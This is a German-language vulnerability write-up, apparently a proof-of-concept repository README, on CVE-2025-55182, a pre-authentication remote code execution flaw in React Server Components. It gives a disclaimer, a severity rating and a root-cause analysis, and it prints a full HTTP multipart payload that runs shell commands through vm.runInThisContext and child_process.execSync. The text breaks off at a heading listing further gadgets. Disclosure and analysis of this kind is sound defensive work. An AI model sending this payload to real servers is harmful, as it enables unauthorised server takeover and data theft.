CVE-2025-55182: Kritische Pre-Authentication RCE in React Server Components

Sicherheitsforschung von schema.cx
„Kontrolle ist eine Illusion. Es sind die Systeme, die wir bauen, die uns kontrollieren – es sei denn, wir verstehen sie zuerst.“

---

📋 Inhaltsverzeichnis

• Haftungsausschluss und rechtliche Hinweise
• Zusammenfassung
• Technische Beschreibung
• Betroffene Systeme
• Proof of Concept
• Auswirkungsbewertung
• Minderung und Abhilfe
• Zeitplan der verantwortungsvollen Offenlegung
• Referenzen
• Zuschreibung

---

⚠️ Haftungsausschluss und rechtliche Hinweise

DIESES WERKZEUG IST NUR FÜR AUTORISIERTE SICHERHEITSTESTS

STOPP. LESEN SIE DIES, BEVOR SIE FORTFAHREN.

Dieses Repository enthält Proof-of-Code für eine kritische Sicherheitslücke. Durch den Zugriff, das Herunterladen oder die Nutzung von Materialien in diesem Repository erkennen Sie Folgendes an und stimmen zu:

Rechtliche Anforderungen

1. Schriftliche Genehmigung erforderlich: Sie MÜSSEN eine ausdrückliche, schriftliche Genehmigung des Systemeigentümers haben, bevor Sie Sicherheitstests durchführen. Mündliche Vereinbarungen reichen nicht aus.

2. Umfangsbeschränkungen: Tests müssen auf Systeme beschränkt sein, die in Ihrer Genehmigung ausdrücklich aufgeführt sind. „Scope Creep“ ist nicht gestattet.

3. Anwendbare Gesetze: Unbefugter Zugriff auf Computersysteme verstößt gegen:

   • Vereinigte Staaten: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
   • Europäische Union: Richtlinie 2013/40/EU über Angriffe auf Informationssysteme
   • Vereinigtes Königreich: Computer Misuse Act 1990
   • Australien: Criminal Code Act 1995, Division 477-478
   • Andere Rechtsordnungen: Ähnliche Computergesetze gelten weltweit

Haftungsausschluss

DIE AUTOREN UND MITWIRKENDEN DIESES REPOSITORY:

• Übernehmen KEINE Verantwortung für Missbrauch dieses Werkzeugs
• Geben KEINE Garantie, weder ausdrücklich noch stillschweigend
• Haften NICHT für Schäden, die durch die Nutzung oder Unmöglichkeit der Nutzung dieser Software entstehen
• Befürworten keine illegalen Aktivitäten jeglicher Art

Ethische Richtlinien

• Testen Sie niemals ohne Erlaubnis – auch wenn Sie „nur überprüfen“ möchten
• Dokumentieren Sie alles – führen Sie detaillierte Protokolle aller Testaktivitäten
• Minimieren Sie die Auswirkungen – verwenden Sie die am wenigsten invasiven Methoden
• Melden Sie verantwortungsvoll – befolgen Sie koordinierte Offenlegungsverfahren
• Respektieren Sie die Privatsphäre – exfiltrieren oder speichern Sie keine sensiblen Daten

„Die Frage ist nicht, ob wir die Schwachstelle ausnutzen können. Es ist die Frage, ob wir es sollten und zu welchem Zweck.“

---

📊 Zusammenfassung

CVE-2025-55182 ist eine kritische Pre-Authentication Remote Code Execution (RCE) Schwachstelle, die React Server Components in React 19.x- und Next.js 15.x-16.x-Anwendungen betrifft.

Geschäftsauswirkung

Diese Schwachstelle ermöglicht es jedem nicht authentifizierten Angreifer mit Netzwerkzugriff auf eine angreifbare Anwendung, beliebige Befehle auf dem Server auszuführen. Der Angriff erfordert keine Anmeldedaten, keine Benutzerinteraktion und kann vollständig automatisiert werden. Eine erfolgreiche Ausnutzung führt zu:

• Vollständiger Serverkompromittierung – Angreifer erlangen die vollständige Kontrolle über das zugrunde liegende System
• Potenziellem Datenverlust – Zugriff auf Datenbanken, Umgebungsvariablen, Geheimnisse und Benutzerdaten
• Seitwärtsbewegung – Kompromittierte Server können zum Angriff auf interne Netzwerke verwendet werden
• Lieferkettenrisiko – Produktionssysteme, die Millionen von Benutzern bedienen, können betroffen sein

Schweregradbewertung

Metrik	Bewertung
CVSS v3.1 Basisscore	10.0 KRITISCH
Angriffsvektor	Netzwerk
Angriffskomplexität	Niedrig
Erforderliche Privilegien	Keine
Benutzerinteraktion	Keine
Auswirkung (V/I/V)	Hoch / Hoch / Hoch

„Menschen vertrauen Systemen, weil sie sie nicht verstehen. Dieses Vertrauen ist eine Schwachstelle.“

---

🔬 Technische Beschreibung

Ursachenanalyse

Die Schwachstelle existiert in der Implementierung von Reacts Flight-Protokoll innerhalb der Funktion requireModule. Diese Funktion verwendet die Klammernotation, um auf Modulexporte basierend auf benutzergesteuerter Eingabe zuzugreifen, ohne zu validieren, dass die angeforderte Eigenschaft eine eigene Eigenschaft des Moduls ist.

Position des angreifbaren Codes:

react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Funktion: requireModule (ca. Zeilen 2546-2558 in v19.0.0)

Angreifbares Muster:

function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... asynchrone Behandlung ...
  return moduleExports[metadata[2]];  // ← ANGREIFBAR: Keine hasOwnProperty-Prüfung
}

Ausnutzungsmechanismus

Der Angriff nutzt die Prototyp-Ketten-Traversierung in JavaScript:

1. Einstiegspunkt: Der Angreifer sendet eine bösartige Multipart-Formularanfrage an einen Server-Action-Endpunkt
2. Payload-Injektion: Das Feld $ACTION_0:0 enthält JSON mit von Angreifer kontrollierten Eigenschaften id (Modul#Export-Format) und bound (Argumente)
3. Prototyp-Zugriff: Durch Angabe von Exporten wie constructor oder Zugriff auf Prototyp-Eigenschaften können Angreifer auf integrierte Node.js-Module verweisen
4. RCE-Gadgets: Funktionen wie vm.runInThisContext, child_process.execSync oder fs.readFileSync werden mit vom Angreifer bereitgestellten Argumenten ausgeführt

Angriffsvektor

HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // Analysiert "Modul#Export"-Format
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // Prototyp-Kettenzugriff → RCE

Payload-Struktur

POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

Verfügbare RCE-Gadgets